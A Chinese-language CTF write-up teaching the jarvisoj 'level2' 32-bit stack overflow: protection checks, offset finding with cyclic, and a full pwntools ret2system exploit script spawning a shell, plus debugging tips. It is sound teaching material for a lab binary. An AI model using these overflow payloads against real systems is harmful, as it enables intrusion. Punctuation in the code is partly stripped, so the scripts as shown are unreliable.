说起 jarvisoj 的 level2我一直觉得它是 pwn 入门最值得写题解的一道题之一。原因很简单它把栈溢出这个基本功用最直白的方式展示了一遍而且利用链条极短正好适合第一次接触 ret2system 的同学。很多人刷 pwn 题的时候容易被各种工具、各种概念吓住但这道题能让你在三四个小时里把 checksec、objdump、gdb、pwntools 这一整套流程完整跑通最后看到 shell 弹出的那一刻你对栈的理解会产生质变。这篇文章我会按我当时做题的真实过程来写包括工具怎么装、信息怎么收集、偏移怎么算、payload 怎么构造、本地和远程调试时踩过的坑全部拆开讲清楚。你不需要有任何 CTF 基础只要能看懂最基本的 C 函数调用关系就能跟着走通。如果你已经在刷 jarvisoj 的 pwn 部分那 level2 就是把你从“只会看 writeup”推向“能自己写 exp”的最好跳板。1. 先认清 level2 在考什么栈溢出是如何发生的1.1 这不是一道“内存损坏”题而是一道“控制流改写”题很多人一听到栈溢出第一反应是“把程序搞崩”。确实随便填一堆超长输入就能让程序崩溃但那只是副作用不是目的。真正的 pwn 题核心只有一个词控制流。程序原本按自己的逻辑一步步执行我们要做的是通过溢出改写某个关键位置让 CPU 执行到我们想让它执行的代码。level2 的考点非常纯粹它提供了一个利用 gets 函数读取输入的漏洞点gets 不检查输入长度会把数据一路写到栈上直到遇到换行符才停下。这意味着如果输入足够长我们就能一路覆盖到当前函数的返回地址。返回地址是什么就是函数结束后 CPU 要跳回去继续执行的那一个地址。你把返回地址改成 system 函数的入口那么函数一返回程序就相当于执行了一次 system()。这就是整道题的骨架。很多新手卡在这里是因为把漏洞利用想得太复杂觉得要计算堆地址、要绕过保护、要拼汇编。level2 把所有这些都简化了无 canary、无 PIE、系统还给了一个现成的 system 和字符串 /bin/sh你要做的只有三件事算偏移、填地址、发 payload。1.2 栈到底是怎么被撑破的先花两分钟把栈模型讲透。函数调用时CPU 会为这个函数分配一段连续的栈空间这段空间叫栈帧。栈帧里主要有三样东西局部变量、保存的 EBP栈底指针、返回地址。32 位程序里栈是从高地址向低地址增长的而函数内部的局部变量通常放在低地址一侧返回地址放在高地址一侧。所以局部变量数组越界写写的是高地址方向覆盖顺序是先覆盖保存的 EBP再覆盖返回地址。拿 level2 来说假设 vulnerable_function 里定义了一个 char buf[136]程序调用了 gets(buf)。正常情况下 gets 只会往 buf 里写一小段内容但如果你输入超过 136 字节后面的数据就会溢出先覆盖 EBP 的 4 字节再覆盖返回地址的 4 字节。等 vulnerable_function 执行到 ret 指令时CPU 会把栈顶的数据当作返回地址弹出来然后跳过去。如果我们早就把返回地址改成了 system 的地址那程序就顺利成章地开始执行 system(/bin/sh)。进程的权限没变但我们拿到了一个交互 shell接下来想读什么文件都行。用生活化的方式理解栈就像酒店前台的一排信封格buf 是其中一格返回地址是贴在这个格子后面的另一张纸条。正常情况你只能往自己格子里塞纸条但 gets 这个柜台职员不守规矩你塞多少他都接于是纸条越堆越高最后把后面那张写着“下一步该去哪”的纸条也换掉了。1.3 什么人适合刷这道题如果你满足下面任一条件这道题就非常适合你刚学完 C 语言知道数组和指针但对“函数调用时底层做了什么”还模糊。看过几篇 pwn writeup被 PLT、GOT、ret2libc 这些术语绕晕了想从一道最简单的题建立直观感。已经会一点点 gdb 和 python想试试 pwntools 怎么写一个完整 exp。在刷 jarvisoj 题库前面的 level0、level1 已经过了想进阶到有真实利用链路的题。刷完这道题你会对这几个知识点形成肌肉记忆用 checksec 看保护、用 objdump 或 IDA 找漏洞函数、用 cyclic 算偏移、用 pwntools 组装 payload、用 gdb 验证栈布局。这些能力后面做堆、做格式化字符串、做内核题都会反复用到。2. 环境准备把 pwn 做题工具链一次装齐全2.1 工具清单与各自分工做题之前先把工具备齐。我用的是 Ubuntu 环境工具清单和分工如下工具用途重要性python3 pwntools写 exp、发 payload、交互必须gdb peda/pwndbg调试、看寄存器、堆栈、断点必须checksec查看二进制安全保护必须file / strings / objdump基础信息收集必须binutils 自带ROPgadget找 rop、找字符串、找地址强烈建议有人会问装不装 IDA 或者 radare2如果你想快速看反汇编IDA 确实方便但 level2 这种小题目objdump 的输出已经足够清晰。我一开始也是用 IDA 免费版后来发现只做 pwn 题的话命令行工具完全够用还能顺便锻炼看汇编的能力。工欲善其事必先利其器但别花太多时间折腾 IDE 插件把核心几个命令行工具弄熟就行。2.2 安装命令直接抄就行如果你用的是 Debian/Ubuntu终端执行下面这些命令# 基础环境 sudo apt update sudo apt install -y python3 python3-pip gdb binutils file # pwntools pip3 install pwntools # gdb 增强插件推荐 peda入门友好 git clone https://github.com/longld/peda.git ~/peda echo source ~/peda/peda.py ~/.gdbinit # checksec 如果没装用 pwntools 自带命令即可 # 也可以单独下载 checksec.sh 脚本 # ROPgadget pip3 install ROPgadget装完以后验证一下python3 -c from pwn import *; print(pwntools ok) gdb -q ./level2如果 gdb 启动后能看到 peda 的提示符就说明配置成功。我用的是一个轻量方案gdb peda。pwndbg 也很好有些人更喜欢但我个人习惯 peda 的pattern命令和stack布局显示做题时信息更直接。两个插件装一个就行别同时装会造成命令冲突这是新手经常踩的坑。2.3 为什么 pwntools 和 gdb 是不可拆的一对pwntools 负责“写”和“发”gdb 负责“看”和“验”。光会用 pwntools 拼 payload不看程序实际状态很容易出现“以为自己写得对但程序根本不按预想走”的情况。尤其是计算偏移如果你只靠手数 A 的数量多半会算错而 gdb 配合 cyclic 能精确定位崩溃位置。反过来只会在 gdb 里手动输入越界数据也没法完成复杂的 64 位 ROP 构造。所以正确的组合是先用 gdb 摸清楚地址和偏移再用 pwntools 写 exp最后再回到 gdb 跑一遍 exp 验证 payload 是否生效。这道 level2 的每一个关键步骤我都建议你在 gdb 里亲眼看到一次。眼见为实这四个字是 pwn 入门阶段最值钱的经验。3. 信息收集与漏洞定位三分钟摸清 level2 的底细3.1 先体检file 和 checksec 教我们读懂的硬件信息拿到二进制文件第一步永远是体检不是直接扔进 gdb 乱试。file level2 checksec --filelevel2我当时这个样本的输出大概是这样的level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, not strippedchecksec 输出Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x08048000)这五个字段里我们最关心两个栈保护canary关不关PIE 开不开。No canary 意味着溢出时不会有栈随机值拦路No PIE 意味着程序基址固定我们找到的地址就是运行时地址不用额外计算偏移。NX 开启会把栈标记为不可执行这意味着我们不能在栈上放 shellcode 直接执行。但这道题的思路不是 shellcode而是 ret2system本质是复用程序本身已有的函数所以 NX 对我们几乎没有影响。你可能会遇到不同版本有的会显示 canary enabled 或者 PIE enabled。如果遇到那种版本利用方式要复杂很多需要先泄露 canary 或者基址。但经典的 level2 是简化版全部保护都给你敞着目的就是让你专注理解栈溢出本身。3.2 strings 和 objdump在二进制里翻关键线索第二件事是翻找程序里已经存在的“好东西”。strings -a level2 | grep -E bin/sh|system|flag|cat objdump -d -M intel level2 | grep -E main|vulnerable_function|systemstrings 会打印文件里所有可打印字符串找到 /bin/sh 就等于拿到了 system 的参数。objdump 反汇编能看到 main 和 vulnerable_function 的具体代码。我当时看到的是 main 调用了 vulnerable_function而 vulnerable_function 里只有一个 gets 和一个 return非常朴素。这里有个重要概念如果程序本身没有直接调用 system那怎么找到 system 的地址答案是通过 PLT程序链接表。动态链接的程序在编译时如果引用了 libc 里的函数会在代码段生成一个 PLT 桩它负责跳转到 GOT全局偏移表去查真实函数地址。只要 level2 里面有一处直接或间接引用了 systemplt 里就会有 system 的跳板。用 pwntools 一行就能拿到from pwn import * elf ELF(./level2) print(hex(elf.plt[system]))有的版本甚至会直接调用 system(/bin/sh)那更简单直接从反汇编里抄地址就行。关键就是别背地址每台机器、每个样本地址都可能不一样必须现场查。3.3 用 cyclic 精确定位偏移三十分钟变三分钟偏移也就是从 buf 开始到返回地址的距离是整道题最容易算错的地方。手数 A 的方式不仅慢而且出错后很难排查。正确姿势是用 pwntools 的 cyclic 和 gdb 的 pattern 功能。生成一串 200 字节的 patternfrom pwn import * print(cyclic(200))把得到的那串字符写入文件或者直接复制启动 gdbgdb -q ./level2 run payload.txt程序崩溃后gdb 会告诉我们 EIP 的值比如 EIP 0x6161616c。这个值其实是 pattern 中四个字符的 ASCII 小端序编码。用命令反查cyclic -l 0x6161616c # 或者 cyclic -l laaa得到的结果就是偏移。我用上述方法在 level2 上计算得到 offset 140。如果 buf 大小是 136那 136 覆盖 buf 本身4 字节覆盖 EBP加起来正好 140第 141 个字节开始覆盖返回地址。整个过程不需要手数。如果 gdb 没有自动加载 core可以在启动前设置ulimit -c unlimited也可以直接在 gdb 里运行让程序崩溃gdb 会停在崩溃现场这是最稳妥的方式。3.4 画一张栈布局图后续所有操作都围绕它拿到偏移后我建议立刻画一张栈布局图。虽然不画也能做题但画了以后你对 payload 结构的理解会提升一个level。我用文字描述一下这个图高地址 ---------------------- | 返回地址 (4 bytes) | - 程序 ret 时会跳到这里 ---------------------- | 保存的 EBP (4 bytes) | - 会被溢出覆盖 ---------------------- | buf[136] | - gets 写入的起点 ---------------------- 低地址我们要发送的 payload 长度必须超过 140使得第 0~135 字节填满 buf第 136~139 字节填掉 EBP随便填什么都行第 140~143 字节填成 system 的地址第 144~147 字节填 system 的返回地址这个问题下文会说第 148~151 字节填 /bin/sh 字符串的地址作为 system 的参数这张图是整道题的地图后面写 payload 时脑子里始终要有这张图。遇到任何“为什么这里要填这个”的疑问回来看一眼图就通了。4. 利用思路构建ret2system 的完整推导过程4.1 被 NX 拦住的 shellcode为什么不能直接在栈上执行很多新人第一次接触 pwn脑子里默认的思路是往栈上塞一段 shellcode然后让返回地址跳到这段 shellcode。这个思路在早期的 CTF 题里确实常见前提是栈可执行。现代系统和 CTF 题默认开启 NX也就是 No-eXecuteCPU 会拒绝从数据页比如栈取指令执行。这就像你在一家餐厅的储物间里写好了一份菜谱但厨师只允许在厨房里按菜谱做菜储物间里的纸再好看也没人理。NX 开启之后shellcode 就变成了储物间里的废纸。那怎么绕过最好的办法是调用程序自身已有的“厨房设备”也就是 system 函数。system 是 libc 提供的它自己会去解析字符串、调起 /bin/sh我们只需要把参数准备好然后跳进去就行。因为 system 的指令在代码段代码段是可执行的NX 管不着。这种思路叫 ret2libc在 level2 上具体化为 ret2system。4.2 找齐三个地址system、/bin/sh、还有那个占位符构造 payload 需要三个关键地址第一个是 system 的地址。用 pwntools 的 ELF 对象直接取elf.plt[system]第二个是 /bin/sh 字符串的地址。这个字符串可能存在于二进制文件的只读数据段也可能在 libc 里优先在二进制里找next(elf.search(b/bin/sh\x00))第三个是 system 执行完后的返回地址。这里有个新手非常容易懵的点为什么 system 后面还要跟一个地址因为函数被调用后执行完自己的代码会执行 ret需要从栈上弹出一个“返回地址”。在我们构造的 payload 里system 执行完后CPU 会继续执行栈上紧接着的 4 字节。如果不给这个位置填一个合法地址程序可能跑到不可执行的地址然后崩掉。虽然执行完 system(/bin/sh) 后我们已经处于 shell 里但还是应该填一个稳妥的地址比如 exit 的 PLT 地址或者 main 的地址。这样即使 shell 退出了程序也能优雅地退出而不是触发段错误。我当时用的是0xdeadbeef只是为了占满这 4 字节。有些题目会检测这个值导致异常吗不会它只是被当成返回地址读取只要不跳过去执行值是什么都无所谓。如果你想更严谨可以把国外的例子里的0xdeadbeef换成elf.plt[exit]这样逻辑上更完整。4.3 payload 的摆放逻辑CPU 被骗的那一刻发生了什么现在把整个执行流程串一遍。vulnerable_function 被 main 调用栈帧布局如前文所示。我们发送的 payload 长度为 140 4 4 4 152 字节左右。当 vulnerable_function 执行 ret 时CPU 从栈顶弹出 4 字节到 EIP然后跳过去。此时栈顶弹掉的是我们的 system 地址EIP 变成 system 的入口。关键点来了在 32 位调用约定cdecl下函数参数是通过栈传递的。system 函数被“调用”时它认为栈上紧接着它返回地址的位置就是参数。而我们 payload 的顺序是system 地址、占位返回地址、/bin/sh 地址。所以 system 的视角中返回地址是占位符参数是 /bin/sh 的地址。于是 system(/bin/sh) 顺利执行shell 出现。用生活类比解释你把写着“下水道维修”的纸条贴在控制面板上CPU 本来要去开会突然看到这张纸条就跑去维修了。它到维修部门口想着“我是来干活的工具呢”这时候发现你已经在旁边放好了水管钥匙——也就是 /bin/sh 地址。整套流程严丝合缝。一个常见的疑问是为什么参数不放在 system 地址前面因为程序 ret 之后ESP 已经指向 system 地址的下一个位置。系统调用函数时总认为当前栈顶往下数第 4 个字节是参数。如果参数放在前面反而会被当成返回地址对不上。所以我一直强调画栈图比背 payload 顺序重要一百倍。4.4 万一题目升级没有 system 时的 ret2libc 备选路线level2 的样板足够仁慈直接给了 system 和 /bin/sh。但如果你想举一反三应该知道如果题目没有 system 或者没有 /bin/sh该怎么玩。通常的路线是 ret2libc先通过某个输出函数比如 puts泄露 GOT 表中某个 libc 函数的真实运行时地址再用 libc 文件偏移计算出 system 的地址和 /bin/sh 的地址最后返回到 system。这个思路比 level2 多两个步骤核心还是栈溢出和函数返回值控制。我建议你把 level2 彻底吃透后再去碰它因为 ret2libc 的 payload 往往要处理栈对齐、ROP 链顺序、libc 版本匹配等问题基础不牢容易学成一团浆糊。5. 现场实操从第一版 exp 到成功拿下 shell5.1 第一版 exp本地直接拿 shell当你算完偏移、查完地址就可以写第一个完整 exp 了。以下是我整理后的版本加了注释直接用就行#!/usr/bin/env python3 from pwn import * # 调试信息开到 info能看清楚收发内容 context.log_level info # 本题是 32 位 context.arch i386 elf ELF(./level2) # 前面用 cyclic 算出来的偏移 offset 140 payload bA * offset payload p32(elf.plt[system]) # 返回地址 - system payload p32(0xdeadbeef) # system 的返回地址占位 payload p32(next(elf.search(b/bin/sh\x00))) # system 的参数 # 本地调试 p process(./level2) # 远程就换成 # p remote(your-ctf-server, port) # 如果程序有提示输出先收掉 # p.recvuntil(b...) p.sendline(payload) p.interactive()需要注意 sendline 会在 payload 末尾自动追加一个换行符而 gets 读到换行符就结束所以多出来的 \n 不会被写入栈不会干扰偏移。如果题目使用 read 并且固定长度读取那就要自己控制发多少字节不能多也不能少。本地跑通后你会看到类似这样的输出$ whoami user $ id uid1000(user) gid1000(user) groups...看到$提示符说明 exp 成功。5.2 gdb 现场的栈库检查眼见为实第一次本地跑通后别急着庆祝回到 gdb 看清每一步。具体操作是在 vulnerable_function 的 ret 指令处打断点然后运行程序并输入 payload观察寄存器。看完之后你会看到类似这样的栈0xffffd0b0: 0x08048450 0xdeadbeef 0x0804a024 ...0x08048450 是 system 的地址0xdeadbeef 是占位返回地址0x0804a024 是 /bin/sh 的地址。三个值按顺序排列和你的 payload 完全对应这就是“眼见为实”的证据。然后单步执行一步si你会看到 EIP 变成了 system 地址说明程序已经跳进 system 内部了。调试中如果想直接输入 payload可以把 payload 写入文件再重定向python3 exp.py payload.txt # 有时候需要生成 payload 到文件 gdb -q ./level2 run payload.txt用这种方式可以反复测试不同的偏移不用每次手动粘贴。gdb 里还可以用x/20wx $esp查看栈上的原始字节用info registers看寄存器变化。这些都是排查问题时的有力手段。5.3 远程靶机从本地到远端的最后一步本地完全验证后远程基本就是换一行连接代码的事情。但有两个小坑要提醒。第一个是接收提示。题目可能不会在连接时立刻打印内容或者打印得很慢。如果程序先打印了一行Input:你需要在发送前p.recvuntil(bInput:)或者p.recvline()。如果没接收直接发有时可能没问题但更稳妥的是先收干净。第二个是远程环境可能和本地不同。比如远程是 64 位而本地是 32 位或者 libc 版本不同都会影响地址。level2 如果远程也是 32 位且同样无 PIE那直接换remote()就能通。如果发现不通先检查端口对不对、环境是不是 32 位再看是不是需要先接收某段字符串。远程拿到 shell 后第一件事不是急着 cat flag而是先运行id、ls确认自己确实在交互 shell 里。由于是 CTF 靶场读 flag 是完全合法的操作。6. 高发坑点与排查技巧实录6.1 常见问题速查症状、原因与处理我把刷题时最容易遇到的问题整理成了表格按“症状 - 原因 - 解法”列出来遇到问题直接对号入座。症状原因解法gdb 显示 EIP 0x41414141偏移算错覆盖到了错误位置用 cyclic 重新算 offset别手数程序没崩但没拿到 shellsystem 参数没摆对在 ret 断点处 x/8wx $esp检查 payload 布局本地成功远程 EOFError远程提示输出没接收干净加 recvuntil或把 log_level 调到 debug 看交互内容system(/bin/sh) 后直接退出占位返回地址不合法导致崩溃把 0xdeadbeef 换成 exitplt 或 main发送的 payload 里含 \n 或 \x00数据被截断确认使用的是 sendline 还是 sendgets 场景用 sendline 没问题远程地址和本地不一致题目环境 libc 或架构不同用 file/checksec 确认远程环境和样本必要时走 ret2libc这里要特别提一下0x00截断的坑。如果漏洞点不是 gets 而是 strcpy那 payload 里如果存在空字节后面的内容会被截断导致 payload 无法完整写入。level2 的 gets 没有这个问题但你在做其他题时遇到strcpy、sprintf类漏洞时就要格外小心。32 位程序地址通常形如0x0804xxxx本身都包含\x00所以如果是 strcpy 场景往往需要换别的利用方式比如找一处可写的内存或者改用 read。这也是“为什么 pwn 题要先看漏洞点是哪个函数”的原因。6.2 本地通远程不通的经典局面这类问题非常常见而且往往不是 exp 逻辑错了而是环境差异导致的。最常见的两个原因一是远程容器是 64 位而你的样本是 32 位。有些 CTF 平台为了部署方便会重新编译题目架构、保护全变了。你拿着本地 32 位的地址去打远程自然打不上。解决办法是先file或者用 nc 连接后观察行为也可以直接看平台给的 Dockerfile 或者题目描述。二是远程环境缺了某个依赖。比如程序本身调用了某个 libc 函数但这个库在容器里版本不同导致 GOT 表地址发生变化。level2 这种简单题通常不会遇到但如果你换到 ret2libc 的高阶题libc 版本匹配就是最大的坑。我的建议是远程打不通第一反应不要怀疑 exp先把能确认的确认一遍——arch、PIE、canary、libc 版本再回头 Debug。6.3 最后一个小技巧动手前先手画一遍我刷题的经验是凡是花了很多时间 Debug 的地方基本都是因为一开始没把栈布局和函数调用关系想清楚。有一次我跳过画图直接写 exp以为顺序就是“system 地址、参数地址、返回地址”结果把参数和返回地址位置写反了浪费了一个多小时才用 gdb 看清。从那以后我给自己定了个规矩每道 pwn 题先花十分钟把栈图画在草稿纸上再写第一行 exp。看起来多花了十分钟实际上省掉的排查时间远远不止。具体画法很简单先画出 buf、EBP、返回地址、参数这几个格子然后标出每个格子上应该填什么。系统研究透之后可以尝试把这个流程扩展到更多攻击模式比如 ret2csu、SROP本质都是“修改控制流”的变体同一个思维框架可以沿用下去。谷底阶段如果能做到把栈图画清楚后面所有 ROP 题都会轻松一大截。还有一个小细节调试时把context.log_level debug打开pwntools 会打印发送的原始字节和接收的内容很多交互时序问题一眼就能看出来。本地确定逻辑没问题后再把 log_level 调回 info不然远程打 flag 时满屏调试信息会干扰判断。level2 这道题说难不难但它像一扇门。推开之后你会发现自己不再害怕那些晦涩的寄存器名称和调用约定。希望大家都能享受第一次看到 shell 弹出的瞬间哪怕只是几行简单的命令也意味着你真正迈进了二进制安全的大门。